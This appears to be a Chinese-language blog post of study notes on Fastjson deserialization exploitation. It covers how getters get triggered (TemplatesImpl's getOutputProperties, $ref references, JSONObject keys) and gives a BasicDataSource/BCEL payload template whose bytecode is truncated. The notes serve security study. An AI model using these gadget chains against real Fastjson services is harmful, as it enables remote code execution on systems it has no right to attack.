fastJson似乎在这里的检验并不是很严格,只需要最后的这个对象和指定的类一致就行了,也就是说,我们只要别太直接,不在最外层直接反序列化我们的payload,就能成功
比如,给指定的类加一个额外的属性,将这个属性的值赋为我们的payload,或是直接将指定类的一个属性赋值为一个JSONObject,然后再在JSONObject中反序列化我们的payload

getter方法的触发

#1

在调用的是parseObject且未指定类时,反序列化出来的是JSONObject,会在toJSON方法中直接调用所有的getter

#2

为什么_outputProperties和getOutputProperties差了一个下划线,以及本身是一个get方法也能被主动调用?
参考一下这篇文章
FastJson反序列化漏洞利用的三个细节 - TemplatesImpl利用链

判断的关键位置是JavaBeanInfo类的build函数
简单的看了一下,先看了下方法名是不是get开头的之类的简单判断,主要的判断条件是getter的返回值,如果满足如下条件就会把getter加入到FieldList里面,之后被调用

if (Collection.class.isAssignableFrom(method.getReturnType())
                || Map.class.isAssignableFrom(method.getReturnType())
                || AtomicBoolean.class == method.getReturnType()
                || AtomicInteger.class == method.getReturnType()
                || AtomicLong.class == method.getReturnType()
            ) 

而getOutputProperties的返回类型为Properties,继承自Hashtable,而Hashtable又implement了Map,所以刚好能被自动调用

#3

在不符合1、2的情况下如何主动去触发?
使用$ref对变量进行引用
[Java安全]Fastjson>=1.2.36$ref引用可触发get方法分析
利用 fastjson $ref 构造 poc
具体过程并未细究,只是你引用一个对象,想当然的应该要获取那个对象的值,自然就会调用到getter方法,至于为什么在1.2.36之后才能用,上述文章有提及,暂时没有细究老版本fastjson实现时在考虑什么

#4

以及刚才的BasicDataSource的payload,这里有一个比较tricky的操作,即在整个payload外面多套了一层大括号,且将payload作为键而不是值。这是因为praseObject时才会对所有的getter进行调用,而仅仅是parse之后调用部分符合条件的getter,但这里的触发点,getConnection并不符合条件,于是通过多套一层大括号,将这个对象变为一个JSONObject,再令payload为JSON的key

JSONObject是Map的子类,在执行toString()时会将当前类转为字符串形式,会提取类中所有的Field,自然会执行相应的getter、is等方法。
在JSON反序列化的时候,FastJson会对JSON Key自动调用toString()方法

也就是说,这个payload完整情况下是这个样子的,不过fastJson会自己识别这个类就是一个JSONObject啦

{
    {
        "@type": "com.alibaba.fastjson.JSONObject",
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

这篇博客中提到在fastjson>1.2.36后JSONObject不再对key进行toString操作,但是刚好又出现了$ref这个方法进行引用
除此之外,该文章提到虽然修改了不直接对key toString,但若key后面跟的不是0-9,字符串或-,又会对key使用toString,也就是说,把上述payload中的"x"改为一个空对象也可以进行触发

漏洞的触发点

很智障的想起来如果本地有依赖能不能拿CC之类的链来打,想到一半突然想起来这里的漏洞触发点并不是readObject,而是构造函数以及setter,getter。。。太愚蠢了

参考链接

Fastjson 反序列化漏洞史
FastJson 反序列化学习
这个师傅还跟了一遍fastjson的json解析流程
JAVA反序列化—FastJson组件
FastJson反序列化漏洞利用的三个细节 - TemplatesImpl利用链
Java动态类加载,当FastJson遇到内网
JAVA反序列化之C3P0
原生反序列化的利用绕过
FastJson与原生反序列化-二